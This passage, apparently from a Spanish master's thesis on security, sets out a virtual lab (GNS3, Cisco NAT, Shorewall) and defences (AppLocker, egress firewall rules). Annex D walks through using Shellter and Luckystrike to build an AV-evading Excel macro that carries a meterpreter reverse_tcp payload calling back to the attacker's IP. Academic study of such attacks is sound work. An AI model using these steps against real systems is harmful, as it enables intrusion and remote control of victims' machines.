es conocida como hacking ético.
Malware:

El malware es un software malicioso disefiado por los cibercriminales cuyo objetivo es
infiltrase en un sistema para causar dafio (robo informacién, alteraciones al sistema, control
del equipo). Los mas conocidos son: Virus, gusanos, troyanos, backdoors, keyloggers,
botnets, spyware, adware, rasonware y scareware.

Macro maliciosa;

Se le conoce comUnmente como macro virus y es un tipo de malware que contiene un virus
integrado en una aplicacion. Las aplicaciones mas infectadas por este virus son Microsoft
Office.
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9 ANEXOS

ANEXO A: GNS3 Y EQUIPAMIENTO DEL ENTORNO VIRTUAL

GNS3

GNS3 es un simulador grafico de red que permite disefiar topologias de red complejas y
poner en marcha simulaciones sobre ellos. Para permitir completar simulaciones, GNS3 esta

estrechamente vinculado con:

- Dynamips, un emulador delOS que permite a los usuarios ejecutar binarios
imégenes IOS de Cisco Systems.

- Dynagen, un front-end basado en texto para Dynamips

- Qemu y VirtualBox, para permitir utilizar maquinas virtuales como un firewall PIX.

- VPCS, un emulador de PC con funciones basicas de networking

- 10U (I0S on Unix), compilaciones especiales de 10S provistas por Cisco para correr

directamente en sistemas UNIX y derivados.

Para la creacion de la topologia de red en GNS3, me he basado en el manual que es de
acceso al publico donde se explica detalladamente el uso de esta herramienta para la
emulacion de redes cisco en GNS3 . En la siguiente imagen podemos apreciar dicha

topologia virtualizada en la cual se ha desarrollado los ataques explotando las

vulnerabilidades existentes.

Internet

Firewall IDS/IPS

DMZ

Figura A.1 Entorno virtual con GNS3
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EQUIPAMIENTO DE ENTORNO VIRTUAL

A continuacion se listan los equipos utilizados para la creacién del entorno virtual

v' Interfaz virtual virbrO (Conexién Internet. anfitrion-GNS3)

IP 192.168.122.1/24

Entorno: GNS3 y anfitrion

v Router Cisco 3660

Memoria RAM: 192 MB

Interfaces de red: 2

— FastEthernet0/0 (IP 172.16.16.1/24)
— FastEthernet0/1 (IP DHCP)

Entorno: GNS3

v Ubuntu server 16.04

Tipo de Sistema: 64 bits
Disco Duro: 10 GB
Memoria RAM: 512 MB
Interfaces de red: 3

— enp0s3 = eth0 (IP 172.16.16.2/24 P. enlace 172.16.16.1 DNS 192.168.1.1)
— enp0s8 = ethl (IP 192.168.2.1/24 P. enlace 192.168.2.1 DNS 192.168.1.1)
— enp0s9 = eth2 (IP 10.0.2.1/24 P enlace 10.0.2.1 DNS 192.168.1.1)

Entorno: virtual (Virtualbox)

v' Metasploitable2

Tipo de Sistema: 32 bits

Disco Duro: 8 GB

Memoria RAM: 512 MB

Interfaces de red:1

— EthO (IP 10.0.2.2/24 P. enlace 10.0.2.1 DNS 192.168.1.1)

Entorno: virtual (Virtualbox)

v" Smooth-Sec

Tipo de sistema: 64 bits
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Disco Duro: 10 GB
Memoria RAM: 1GB RAM
Interfaces de red: 3

— EthO (modo promiscuo)

— Eth1 (modo promiscuo)

— Eth2 (IP 192.168.2.128 P. enlace 192.168.2.1 DNS 192.168.1.1)

Entorno: virtual (Virtualbox)

v" Windows 10 Education

Tipo de Sistema: 32 bits

Disco Duro: 20 GB

Memoria RAM: 1,5 GB RAM

Interfaces de red: 1

— Ethernet (IP 192.168.2.2 P. enlace 192.168.2.1 DNS 192.168.1.1)

Entorno: virtual (Virtualbox)

v Ubuntu Mate 15.10

Tipo de sistema: 64 bits

Disco Duro: 12 GB

Memoria RAM: 1 GB

Interfaz de red: 1

— EthO (IP 192.168.2.3 P. enlace 192.168.2.1 DNS 192.168.1.1)

Entorno: virtual (Virtualbox)

v' Kali Linux

Tipo de sistema: 64 bits

Disco Duro: 1 TB

Memoria RAM: 8 GB

Interfaz de red: 1

— Wian0 (IP 192.168.1.107 P. enlace 192.168.1.1 DNS 200.25.144.1)

Entorno: anfitrién (maquina fisica)
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ANEXO B: CONFIGURACION DEL ROUTER CISCO 3660

En este trabajo hemos ambientando el entorno virtual para tener funcionando un servidor
Web en la zona desmilitarizada (DMZ) con una direccion IP privada (10.0.2.2), el objetivo es
acceder desde el exterior hacia este, mediante la IP (192.168.122.66) publica del router.
Para ello se debe configurar el Router cisco 3660 de GNS3 mediante un tipo de NAT
estético, que basicamente lo que hace es asociar una direccion IP publica con una privada,

de esta manera podemos llegar a obtener acceso al servidor desde el internet.

Hay que tener en cuenta que se esta simulando un entorno real, el cual la maquina anfitrion
en este caso Kali Linux (atacante) va simular ser la red externa, mientras que todo el
ambiente desarrollado en GNS3 va simular la zona desmilitarizada (DMZ) y la red interna

(LAN). A continuacion se detalla la configuracién del router:

— R1(config)#ip nat inside source static 10.0.2.2 192.168.122.66

— R1(config)# interface FastEthernet0/0

— R1(config-if)#ip nat inside

— R1(config-if)# exit

— R1(config)# interface FastEthernet0/1
(

— R1(config-if)#ip nat outside

Técnica de ataque y explotacion al servidor de la DMZ y equipos de la red interna (LAN) 101



Luis Geovanny Cabrera Vazquez Maestria en Seguridad Informatica

ANEXO C: CONFIGURACION DEL FIREWALL EN UBUNTU SERVER

Para la configuracion del firewall utilizamos como sistema operativo el Ubuntu Server, y para
la configuracién del iptables hemos utilizado Shorewall, este permite configurar de una

manera simple las reglas que se introduciran en el archivo de configuracion del iptables.

El paquete shorewall viene dentro de los repositorios del Ubuntu Server, basta con ejecutar
el comando “sudo apt-get install shorewall” para instalarlo en el sistema. Luego de haber
instalado los archivos de configuracion y que se encuentran dentro de la ruta
“lusr/share/shorewall/configfiles”, copiamos los archivos que necesitamos  (shorewall.conf,

zones, masq, interfaces, policy y rules) a la siguiente ruta “/etc/shorewall”.

interfaces interfaces.save masq nat params policy rules shorewall.conf zones

geovanny@f irewall :vetcsshorewalls _

Figura C.1 Archivos de configuracion del Shorewall
CONFIGURACION DEL ARCHIVO SHOREWALL.CONF

Para la configuracion del archivo “/etc/shorewall/shorewall.conf/” procedemos a configurar

ciertos parametros para el correcto funcionamiento como son:

— STARTUP_ENABLED=Yes (se habilita al inicio del arranque del sistema)

— IPTABLES=/sbin/iptables (la ruta del archivo ejecutable del iptables)

— DETECT_DNAT_IPADDRS=Yes (habilita para detectar las direcciones IP del DNAT)
— DISABLE_IPV6=Yes (deshabilita IPV6)

— FASTACCEPT=Yes (acepta conexiones rapidas)

— IMPLICIT_CONTINUE=Yes (acepta conexiones continuas)

— IP_FORWARDING=0n

CONFIGURACION DEL ARCHIVO ZONES

Dentro de este archivo procedemos a configurar las zonas de nuestra red, es decir todo lo
referente al entorno de la red como es: la red interna, la DMZ, el firewall y el internet. En la

siguiente imagen podemos ver la configuracion detalladamente.
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Shorewall — retcsshorewall- zones

The manpage is also online at
http:/ wwu.shorewall .net manpages-shorewall-zones.html

it
i
i
# For information about this file, type "man shorewall-zones"
i
i
#

i
S S S S R R R R R S R i
TYPE OPTIONS IN_OPTIONS OUT_DPTIONS

firewall
ipuvd
ipvd
ipvd

Figura C.2 Pantalla de configuracion del archivo zones
En la figura C.2 se puede apreciar que la configuracion es sencilla, lo que se especifica es:

— fw: de tipo firewall y es donde estan las tres interfaces que permitiran las diferentes
conexiones entre las zonas

— net: de tipo ipv4, y se trata especificamente de la zona de internet

— loc: de tipo ipv4, esta zona hace referencia a la red local (red interna)

— dmz: de tipo ipv4, esta zona hace referencia a la zona desmilitarizada donde se

encuentran los servidores
CONFIGURACION DEL ARCHIVO INTERFACES

En el archivo interfaces se configura las interfaces fisicas del equipo con respecto a las
zonas establecidas anteriormente. En la siguiente imagen podemos apreciar Su

configuracién

i

#t Shorewall —- rsetcs/shorewallsinterfaces

i

#t For information about entries in this file, type "man shorewall-interfaces"
it

#t The manpage is also online at

it http:- www.shorewall .net-manpages/shorewall-interfaces.htnl

it

TFORMAT 2

SRS B REERE EEE B SRR R R SRR R B S R R R B R R Y R
#Z0NE INTERFACE OPTIONS

net enp0s3 routeback,nosmurfs

loc enpds8 routeback,nosmurfs

dmnz enpds9 routeback,nosmurfs

Figura C.3 Pantalla de configuracién del archivo interfaces

En la configuraciéon del archivo interfaces debemaos tener en cuenta las interfaces fisicas de
red con sus respectivas zonas. En sistemas operativos virtualizados con Virtualbox, como es
el caso del Ubuntu server, estas interfaces difieren en sus nomenclaturas. Sus equivalencias

son las siguientes:
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— enp0s3 = eth0
— enp0s8 =ethl
— enp0s9 = eth2

El shorewall permite configurar varias opciones como son el dhcp, broadcast etc., el archivo
que hemos configurado tiene las siguientes opciones:

— routeback: indica que el shorewall debe incluir reglas que permiten que el trafico que
llega a esta interfaz se enrute de vuelta a la misma interfaz.

— nosmurfs: detecta el origen de la red de difusion de las interfaces. Los smurfs se
registrardn opcionalmente en funcién de la configuracion SMURF_LOG_LEVEL en
shorewall.conf. Después de registrar los paquetes se descartaran.

CONFIGURACION DEL ARCHIVO MASQ

Este archivo permite configurar el enmascaramiento de las redes, es decir que permite
enmascarar las subredes para que puedan tener salida al internet a través de la interfaz de
la WAN.

Shorewall — rsetcsshorewallsmasg

The manpage is also online at
http:/7wwu.shorewall .net manpages/shorewall-mnasq.html

it
i
i
#t For information about entries in this file, type "man shorewall-masq"
it
it
it

it
0 I A A I A A S ]S
it INTERFACE SOURCE ADDRESS PROTO  PORT IPSEC  MARK USER SWIS
enp0s3 192.168.2.0-.24 172.16.1

6.2
enp0s3 10.0.2.0-24 172.16.16.2

Figura C.4 Pantalla de configuracién del archivo masq

En la configuracion de la figura C.4, se puede ver que se realiza el enmascaramiento de las
redes de &rea local 192.168.2.0/24 (LAN) y de la zona desmilitarizada 10.0.2.0/24 (DMZ2), a

través de la interfaz de red enp0s3 (equivale a eth0).

Hay que tener en cuenta si la direccion de la interfaz enp0s3 (172.16.16.2) es estatica o
dinamica, como en este caso la direccibn es estatica, se lo especifica dentro de la

configuracion, en caso de que la direccion fuera dindmica no se la debe especificar
CONFIGURACION DEL ARCHIVO POLICY

Aqui definimos las politicas de seguridad. Como objetivo tenemos lo siguiente:

— Permitir que la red de area local (LAN) se conecte al internet y a la zona desmilitarizada

(DM2).

Técnica de ataque y explotacion al servidor de la DMZ y equipos de la red interna (LAN) 104



Luis Geovanny Cabrera Vazquez Maestria en Seguridad Informatica

— Permitir que la red externa (internet) pueda conectarse a la zona desmilitarizada (DMZ)
pero no a la red de &rea local (LAN)

— La zona desmilitarizada (DMZ) no pueda conectarse a la red de area local (LAN)

it Shorewall —— retcsshorewallspolicy

i

# For information about entries in this file, type "man shorewall-policy"
it

#t The manpage is also online at

it http:/ wuww.shorewall.net/manpages-shorewall-policy.html

i

RIRIRIEIEEIRIRIR IR R R RN IR AR RN IRIA IR R NI IR RN IRI I R RIS IR RN IR IR R R R RIRIA RN R IA I AR R R IR R BRI IR R AR E
DEST POLICY LDGLEVEL LIMIT  CODNNLIMIT
all ACCEPT

net ACCEPT
net ACCEPT
dmz ACCEPT
dmz ACCEPT
fu ACCEPT
loc DROP info
fuw DROP info
all REJECT info

Figura C.5 Pantalla de configuracién del archivo policy

Para efectos de este trabajo vamos a suponer que el servidor Web puede conectarse al

firewall (dmz fw accept), permitiendo de esta manera realizar ataques.
CONFIGURACION DEL ARCHIVO RULES

Aqui se especifica las reglas para establecer conexién con el servidor de la zona
desmilitarizada (DMZ), y también para que los equipos que se encuentran en la red de area
local (LAN) o red interna puedan establecer conexion hacia el internet. En la siguiente figura

se detalla como se encuentra configurado el archivo con las diferentes reglas.

7COMMENT ACEPTAR CONEXION DESDE LA INTERMET HACIa EL FIREWALL VIa ICHP

ACCEPT net fu icmp

[7COMMENT ACEPTAR CONEXION DESDE LA LAN HACIA EL INTERNET VIA ICHP

ACCEPT loc net icmp

7COMMENT ACPETAR CONEXION DESDE LA LAN HACIA EL FU VIa ICHP

ACCEPT  loc fw:192.168.2.1 icmp

TCOMMENT ACEPTAR CONEXION DESDE LA LAN HACIA LA DHMZ UIA ICHP

ACCEPT  loc dnz:10.0.2.0-24 icmp

7COMMENT ACEPTAR CONEXION DESDE LA DMZ HACIA EL INTERNET Ula ICHP

ACCEPT dmz net icmp

7COMMENT RECHAZAR CONEXION DESDE LA DMZ HACIA LA LAN UIA ICHP

REJECT dmz loc:192.168.2.0-24 icmp

?COMMENT ACEPTAR CONEXION DESDE LA DMZ HACIA EL FU VIa ICHMP

ACCEPT  dmz fu:10.0.2.1 icmp

‘7COMMENT ACEPTAR CONEXION DESDE LA LAN HACIA EL INTERNET UIa TCP POR MEDID DE LOS PUEH
NCCEPT loc net tep 80,443

"7COMMENT RECHAZAR CONEXION DESDE La LAN HACIA EL INTERNET POR PUERTOS 500:65535
REJECT loc net tcp 1024:65535 1024:65535

REJECT loc net udp 1024 :65535 1024 :65535

7COMMENT ACEPTAR CONEXION DESDE LA LAN HACIA EL SERVIDOR WEB POR MEDIO DE LOS PUERTOS
ACCEPT loc dnz:10.0.2.2 tcp 80,443

7COMMENT ACEPTAR CONEXION DESDE LA DMZ HACIA EL INERNET VIa TCP POR MEDIO DE LOS PUER
ACCEPT dmz net tep 80,443

7COMMENT DESTINAR CONEXION DESDE EL INTERMET HACIa EL SERVIDOR WEB UIA HTITP ¥ HTTPS
DNAT net dnz:10.0.2.2 tcp 80,443

Figura C.6 Pantalla de configuracion del archivo rules

Una vez terminada la edicion de los archivos de configuracién, tenemos listo el firewall con

iptables para arrancarlo con el comando:

$sudo shorewall start
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ANEXO D: CREACION DE ARCHIVOS INFECTADOS CON LUCKYSTRIKE Y
SHELLTER

Luckystrike es un script de Powershell que utiliza la base de datos sqlite para almacenar
bloques de codigo, reglas de dependencia y métodos de infeccion. Esta herramienta permite
generar documentos “.xIs” incrustando “payloads” en los mismos, dichos payloads nos
permite crear conexiones remotas al momento que la macro es ejecutada. La creacién del
payload es generada con la herramienta Shellter, y utilizada dentro de Luckystrike para

generar el archivo de Excel.

Como Shellter nos facilita la generacion de diferentes tipos de payloads como por ejemplo
“‘windows/meterpreter/reverse_tcp”, estos pueden ser utilizados con Metasploit para una
conexion, lo interesante de esta herramienta es que los genera casi indetectables a la
mayoria de los antivirus. A continuacion en las siguientes imagenes se detalla el proceso de

generacion.

ALL YOUR PAIN IN ONE MACRO.

1.1.7 - @curilusJlack

Main Menu

Payload Options
Catalog Op
File Optio
4) Encode a PowerShell Command
7 Exit

but no driver could be loaded.

11 10
0 01 0
11010 100111 00G111 OO 11000
=ct,com Wine Mode

Operation Mode - Auto/Manual (A/M/HY: [

Figura D.2 Pantalla del menua de Shellter
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Para la creacién de un archivo infectado primeramente debemos generar nuestro payload,

gue es el que nos permitirh obtener una shell remota desde el equipo atacante. La

generacion del payload en Shellter es bastante sencilla, Gnicamente necesitamos tener un

archivo con extension “.exe” (por ejemplo putty.exe) sobre el cual se insertara el payload. A

partir de ahi hay dos formas para poder realizarlo que son las siguientes:

La primera es generar el archivo infectado con el payload para que cuando se ejecute
este (putty.exe infectado) se cargue en segundo plano el cédigo malicioso.

La segunda opcion es generar el archivo infectado con el payload para que este pueda
ser insertado como una macro en un archivo de Excel. Para la demostracion se genero

con esta opcién.

A continuacion se detalla con imagenes el proceso de generacion.

Escoger modo de operacién automatico

Operation Mode - Auto/Manual (A/M/H): A

Figura D.3 Pantalla de configuracién del pardmetro modo de operacién de Shellter

Objetivo, en este parametro ingresamos la ruta del archivo “.exe” a infectar

1010101 @1 10 0100110 10
11 10 01 oc ol ol g 1 nuile
0010011 1110001 11011 11 10 [¢]¢] g 011001

11 oo 1 11 ol 11 & ol 11

10 ¢ 0 100111 COG111 OO 0l 10 v6.S

= - Auto/Manual (A/M/H): A

s/putty.exe ]

Figura D.4 Pantalla de configuracion del parametro target de Shellter
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— Enable Stealth Mode, como se comentd anteriormente esta es la segunda opcion (N)

que se configura para generar el payload e insertarlo en el archivo Excel.

Instructions Tracec

Tracing Time Approx: 1.02 mins.

Starting First Stage Filtering...

EESE RS EEEEESEEEEE R
¥ First Stage Filtering *
EEEEEEEEEE SRR EEEEELE S L

Filtering Time Approx: 0.0401 mins.

Enable Stealth ModeEUpIVLVERIEN
Figura D.5 Pantalla de configuracion del modo invisible de Shellter

— Tipo de payload, escogemos “meterpreter/reverse_tcp”

¥ Payloads *
SRR R R

Figura D.6 Pantalla de configuracion del tipo de payload de Shellter

— Por dltimo configuramos el puerto y la IP que estara en escucha.

oo ko o o oo o ok ook ok ok oo ok o o ok oo ok ok ok
¥ meterpreter_reverse_tcp *
oo ko o o oo o ok ook ok ok oo ok o o ok oo ok ok ok

SET LHOST: 192.168.1.107

SET LPORT: 4446 []

Figura D.7 Pantalla de configuracién de la IP y puerto de escucha en Shellter

Una vez generado el payload y almacenado en un directorio especifico, es momento de

utilizar Luckystrike para generar el archivo de Excel e insertar la macro maliciosa
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— Ingresamos al catalogo de opciones

ALL YOUR PAIN IN ONE MACRO.

1.1.7 - @curiduslack

hell Command

Figura D.8 Pantalla de catalogo de opciones del Luckystrike

— Vamos afadir el payload generado con Shellter

PAYLOADS:
Add payload to catalog
Remove payload m catalog
Show catalog payloads

TEMPLATES:
4) Add template to catalog
) Remowve template from catalog
6) Show catalog templates

99) Back

Figura D.9 Pantalla para afiadir el payload con Luckystrike

— Configuramos el nombre del payload, la direccion IP remota, la descripcion del payload,

el tipo de archivo y la ruta del payload.

_tcp, etc) [Optionall: window

xe file: Ciypaylo

Payload added.

= Catalog Options sssssssssses

Figura D.10 Pantalla de configuracion de parametros del payload en Luckystrike
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— Regresamos al menu principal (opcion 99) y seleccionamos el payload.

1) Payload Options
Catalog Opti
File Optio
4) Encode a PowerShell Command
) Exit

Payload Options
Select a payload

lect a pay d
selected payloads

Select Payload

) shellter

Done.

Certutil

S5ave To Disk

ReflectivePE
98) wtf

Select: 1
] - Payload added!

Select Payload

) shellter
99) Done.

Figura D.11 Pantalla de seleccién del payload en Luckystrike

— Por ultimo regresamos al menu principal (opcion 99) y generamos el archivo Excel con el

payload insertado como macro.

Payload Options

Catalog Options

File Options

Encode a PowerShell Command
BExat

File Options

Generate new x1s

Update existing xls

Generate from template

Write existing macro code to file
Back

Select:

[*] - Generating macro code.
- Adding macro to workbook.
- Emhedding payloads into workhook

- Success. File saved to C:\Tuckystrike\luckystrike\payloads\infected_o3hHOWLI.x1s

Payload Options

Catalog Options

File Options

Encode a PowerShell Command
Exit

Figura D.12 Pantalla de Luckystrike para la generacion del archivo con el payload insertado
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ANEXO E: RESTRICCION DEL SOFTWARE CON APPLOCKER

Dentro de AppLocker se puede definir reglas de ejecutables para denegar la ejecucion de
todos los archivos con extension “.exe” en el computador. Esta es una solucion eficaz para
bloquear aplicaciones que son desconocidas, el problema con este tipo de configuracion es
que hay que crear una lista de excepciones para las aplicaciones autorizadas (Excel, Word,
Antivirus, etc.) y asi el sistema pueda funcionar correctamente. Esta solucion puede ser la
forma mas sencilla para un puesto de trabajo ya que una vez definida la lista de aplicaciones
autorizadas basta con afadir a la misma las nuevas aplicaciones a utilizarse. En este punto

se explicardn como configurar este tipo de reglas para ejecutables.

Antes de proceder a la creacién de la regla en el AppLocker hay que iniciar el servicio de
‘identidad de aplicacion” que se encuentra en “panel de control/herramientas
administrativas”. Este servicio comprueba la identidad de una aplicacion por lo tanto si se

encuentra deshabilitado no se aplicara las reglas creadas con AppLocker.

Windows10 [Corriendo] - Oracle VM VirtualBox =

Archivo Maquina Ver Entrada Dispositivos Ayuda

/ Servicios - ] ped
Archive  Accién  Ver  Ayuda
e | FECE BHE » mn®»

/. Servicios (locales)  Servicios (locales)
Identidad de aplicacion Mombre - Descripcién Estado Tipo deinicie ™
— — %z Identidad de apli Determina y... Manual (dese..,

:Informacién de la aplicacién  Facilita la gj..  En gjecu..  Manual (dese...
Sk Iniciador de procesos de ser.. Elservicio D...  En gjecu..  Automatico

Descripcidn: Sk Inicio de sesién secundario Habilita pro... Manual

Datermina_)rcor:nprgeba laidentidad {2 |nstalador de ActiveX (Axins... Proporciona... Manual

:;::Z:;ipclil;’a;:Z'esal;liec::habma ChInstalador de madulos de ... Habilita la in... Manual

ApplLocker. L Instantaneas de volumen Administra ... Manual
{GhInstrumental de administra... Proporciona... En gjecu.. Automatico
S Interfaz de servicio invitado ... Properciona... Manual (dese...
“ELKTMRM para DTC (Coordin...  Coordina tra... Manual (dese...

‘EkLlamada a procedimiento r...  El servicio R, En gjecu..  Automético
‘& MessagingService_28fde El servicio a... Manual (dese...
Sk Microsoft App-V Client Manages Ap... Deshabilitade

“ShMicrosoft Passport Proporciona.. Manual (dese...
“C:Microsoft SharePoint Works... Manual
‘E:Modo incrustado El servicio d... Manual (dese...

b

L. Médulos de creacién de cla... El servicio IK.. En gjecu.. Automatico (.
‘£ Motor de filtrado de base El Motor de...  En gjecu.. Autematico

€ >

-~
v

\ Extendido AEsta'ndar

Figura E.1 Pantalla de configuracion del servicio Identidad de Aplicacion

Dentro de “panel de control/herramientas administrativas/directivas de seguridad local”’ se
encuentra las “directivas de control de aplicaciones/AppLocker”, es aqui donde se realiza la

creacion de las reglas para los ejecutables.
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Windows10 [Corriendo] - Oracle VM VirtualBox — O x
Archive Maquina Ver Entrada Dispositivos Ayuda

T Directiva de sequridad local - m] *

Archive  Accidn  Ver  Ayuda

| HE = HE

5 Configuracién de seguridad Accién Usuario Nombre Condicién  Excepcio...
7 Directivas de cuenta
1 Directivas locales Mo hay elementos disponibles en esta vista.

| Firewall de Windows con seguridad a
| Directivas de Administrador de listas
| Directivas de clave publica

_ Directivas de restriccién de software

~ [ Directivas de control de aplicaciones|
v [ Applocker

= Reglas ejecutables
Reglas de Windows Installer
[ Reglas de scripts

B Reglas de aplicaciones empaq
g Directivas de seguridad IP en Equipo |
| Configuracién de directiva de auditor

Figura E.2 Pantalla de configuracion del AppLocker

Al momento que creamos reglas predeterminadas, se generan reglas que permiten ejecutar

todas las aplicaciones de Archivos de Programa y de Windows.

Windows10 [Corriendo] - Oracle VM VirtualBox - o (%
Archivo Maquina Ver Entrada Dispositivos Ayuda

T Directiva de seguridad local - m} X

Archive  Accién  Ver Ayuda

=T = HE

T Configuracién de seguridad Accién Usuario Nombre Condicion  Excepcio..
7 Directivas de cuenta
1 Directivas locales No hay elementos disponibles en esta vista.

| Firewall de Windows con seguridad a
| Directivas de Administrador de listas ¢
| Directivas de clave publica
| Directivas de restriccion de software
~ || Directivas de control de aplicaciones
v [T Applocker
=T Reglas gjecuta™'--

Reglas de Win Crear nueva regla...
[ Reglas de scrip Generar reglas automaticamente...
[ Reglas de aplic Crear reglas predeterminadas

@ Directivas de seguridz

1| Cenfiguracién de dire Ver 4

Exportar lista...

Ayuda

< >

Crea las reglas predeterminadas para una coleccién de reglas (recomendada)

28/ :- 017 El
B @ P @ o= &7 {0 @ # Ctrl Derecho

Figura E.3 Creacion de reglas predeterminadas de ejecutables en AppLocker
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Windows10 [Corriendo] - Oracle VM VirtualBox @ © O
Archive Maquina Ver Entrada Dispositivos Ayuda

i T Directiva de seguridad local - [m] X
Archive  Accién  Ver Ayuda

= HE = HE

5 Configuracién de seguridad Accién Usuario Nombre #
1 Directivas de cuenta
1 Directivas locales
| Firewall de Windows con seguridad a

@ Permitir Todos (Regla predeterminada) Todos los archivos de la carp...
%4 Permitir  Todos Tedes los archivos de la carpeta Windows
@ Permitir  BUILTIN\Administradores  (Regla predeterminada) Todos los archivos

~| Directivas de Administrador de listas ¢

| Directivas de clave piblica
| Directivas de restriccién de software
~ [] Directivas de control de aplicaciones
v [ ApplLocker
| Reglas ejecutables
[ Reglas de Windows Installer
= Reglas de scripts

Thom o &

EH Reglas de aplicaciones empaq
\g Directivas de seguridad IP en Equipo |
| Configuracién de directiva de auditor|

oy

=

B ®F ¢ EE @ @ @ @ Ctrl Derecho

Figura E.4 Reglas predeterminadas de ejecutables en AppLocker

A partir de aqui se podria definir qué usuarios tienen permiso de ejecutar las aplicaciones
permitidas y que estan definidas en una lista de excepciones. Para ello nos basamos en la
tercera regla de la figura E.4, que es la cual permite ejecutar cualquier archivo ejecutable

que se encuentre en cualquier ruta.

Windows10 [Corriendo] - Oracle VM VirtualBox 2 @ O
Archivo Méquina Ver Entrada Dispositivos Ayuda
15
IArchivo Accion  Ver  Ayuda

LA 21 NETN 7N Propiedades: Permitir n

_é Configuracién de seguridad fi
% Directivas de cuenta General Rutadeacceso  Excepciones

14 Directivas locales Nombre:

[Tedos los archives de la carp...
carpeta Windows

| Firewall de Windows cof  [Togos los archivos ‘
*| Directivas de Administra
_| Directivas de clave publi

Todos los archivos

Deescripcién: fopcional)
Pemmite a3 los miembros del grupo Administradores locales ejecutar todas las ‘

_| Directivas de restriccién

~ || Directivas de control de epicaciones.
~ (T3 Applocker
= Reglas ejecutabl
Aocis
[ Reglas de Windo| "
O Pemitir

=/ Reglas de scripts

EE Reglas de aplica

-8, Directivas de seguridad
_| Configuracian de directi Usuario o grupo

‘ ‘BUILT\N \Administradores |‘ Seleccionar... 6

Mas informacion acenca de las reglas de ApplLocker

Cancelar Aplicar

Figura E.5 Denegar usuarios para las Reglas predeterminadas de ejecutables
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Windows10 [Corriendo] - Oracle VM VirtualBox @ O C
Archivo Maquina Ver Entrada Dispositivos Ayuda
)
IAr:hivo Accion  Ver  Ayuda '

ol A Rzalcl HEYN 7 Bo

Propiedades: Permitir x

7 Configuracién de seguridad
g g

7 Directivas de cuenta General | Futa de acceso

5 Directivas locales

| Firewall de Windows col Agregar excepcidn:
_ Directivas de Administra | piplicador

Todos los archivas de la carp...
carpeta Windows

Todos los archivos

| Directivas de clave publi

| Directivas de restriccién

w || Directivas de control de Excepciones:
~ [T5 Applocker

7] Reglas gjecutabl

[ Reglas de Windo

| Reglas de scripts

EH Reglas de aplica

“g Directivas de seguridad

*| Configuracién de direct

Excepcién Tipa Agregar...
MICROSOFT QFFICE 2013%0=MICROS... Publicador ‘

Més informacién acerca de las excepciones de regla
Cancdlar Apligar
< >|[< >

Figura E.6 Creando excepciones de programas ejecutables con AppLocker

Con esta configuracién lo que estamos definiendo es que solo se permita ejecutar por
ciertos usuarios los programas ejecutables que estdn en la lista de excepciones.

Lograriamos también con esto evitar la ejecucion de programas que puedan contener codigo
malicioso
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ANEXO F: CONFIGURACION DEL FIREWALL DE WINDOWS Y UBUNTU

Un firewall nos puede ayudar a bloquear ataques provenientes del exterior causados por la
ejecucion de payloads que realizan conexiones remotas inversas. La conexion se realiza
desde el equipo de la maquina victima hacia el equipo del atacante de manera que puedan

saltarse la seguridad del firewall.

A continuacion se explica la configuracion para bloquear la conexion remota inversa
generada por payloads que se encuentran insertados en archivos con extension “exe” o en

documentos como macros maliciosas.

Para la configuracion primeramente debemos tener en cuenta que puertos necesitamos

bloquear y para ello nos basamos en su clasificacion.
CLASIFICACION DE LOS PUERTOS

Dentro de la computacion existen dos tipos de puertos que son: los puertos fisicos y los

puertos logicos.

Los puertos fisicos no son mas que todos los conectores que estan integrados en las
tarjetas madres o tarjetas de expansion, estos nos permiten interconectar todos los

dispositivos externos e internos con el computador.

Los puertos l6gicos no son mas que puntos de acceso entre equipos para poder usar los
servicios y el intercambio de informacion entre ellos. Los puertos légicos permiten identificar

los servicios y son protegidos mediante dispositivos como el firewall.
En total existen 65535 puertos logicos los cuales se clasifican de la siguiente manera:

— Puertos bien conocidos: estos comprenden desde el 0 al 1023 y son reservados para
el sistema operativo y usado por protocolos bien conocidos (HTTP, POP3, SMTP, Telnet
y FTP).

— Puertos registrados: estos comprenden desde el 1024 al 49151 y pueden ser usados
por cualquier aplicacion.

— Puertos dindmicos o privados: estos comprenden desde el 49152 y 65535 y son

usados para conexiones peer to peer (P2P).

A continuacion se muestra una tabla con los puertos mas utilizados

Técnica de ataque y explotacion al servidor de la DMZ y equipos de la red interna (LAN) 115



Luis Geovanny Cabrera Vazquez Maestria en Seguridad Informatica

20 FTP Data Transferencia de datos FTP.
21 FTP Servicio para compartir archivos FTP.
22 SSH Acceso remoto seguro
23 Telnet Acceso remoto. Puerto inseguro.
25 SMTP Usado para envio de correo electrénico
53 DNS Sistema de nombre de dominio
59 DCC Usado predeterminada para el envio de ficheros en algunos programas como
IRC.
79 Finger Informa al cliente datos sobre usuarios conectados a un servicio del servidor
80 HTTP Utilizado para navegacién web
110 POP3 Usado para acceder a los correos electrénicos de cuentas personales
113 IDENT Antiguo sistema de identificacién de usuarios
119 NNTP Servidor de noticias.
135 NetBIOS  Usado para compartir archivos en red
139 NetBIOS  Usado para compartir servicios compartidos de impresoras y/o archivos
143 IMAP Usado para acceder a los correos electrénicos de cuentas personales
389 LDAP Usado para el acceso a un servicio de directorio ordenado y distribuido
443 HTTPS Usado para navegacion Web en modo seguro.
445 MSFT DS Server Message Block
563 POP3 Conexién POP3 pero con cifrado SSL.
SSL
993 IMAP4 Usado para acceder a los correos electrénicos por medio de cifrado SSL
SSL
995 POP3 Conexién POP3 pero con cifrado SSL.
SSL
1080 Proxy Servicio de proxy
1723 PPTP Puerto usado para conectar equipos por medio de Red Privada Virtual.
3306 MySQL Base de datos MySQL.
5000 UPnP Usado para el reconocimiento de periféricos
8080 Proxy Usado para navegar de forma mas privada por Internet
Web

Tabla 2 Clasificacién de los puertos

Una vez conocida la clasificacion de los puertos procedemos con la configuracion para
bloguear los puertos registrados y dinamicos que van desde el 1024 al 65535, ya que las

conexiones remotas inversas que realizan los payloads por lo general utilizan estos rangos.
CONFIGURACION DEL FIREWALL DE WINDOWS

En la opcién de reglas de salida de la configuracion avanzada del firewall procedemos a

crear una nueva regla
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Windows10 [Corriendo] - Oracle VM VirtualBox P @O G
Archivo Maquina Ver Entrada Dispositivos Ayuda

ﬂ Firewall de Windows con sequridad avanzada — O
g
Archive  Accidn  Ver  Ayuda

= zn5= @
i1 Reglas de Em.:rada Nombre Grupo ~ || Reglas de salida .
& Reglas de seguridad de con 1 30 Builder 3D Builder
B Supervision Administracion de tarjetas inteligentes vi.. Administracion de tarjetas i... T Filtrar por perfil b
Administracion de tarjetas inteligentes vi..  Administracion de tarjetas i..
@ Agregar una cuenta profesional o educat.. Agregar una cuenta profesi.. W Filtrar por esta...
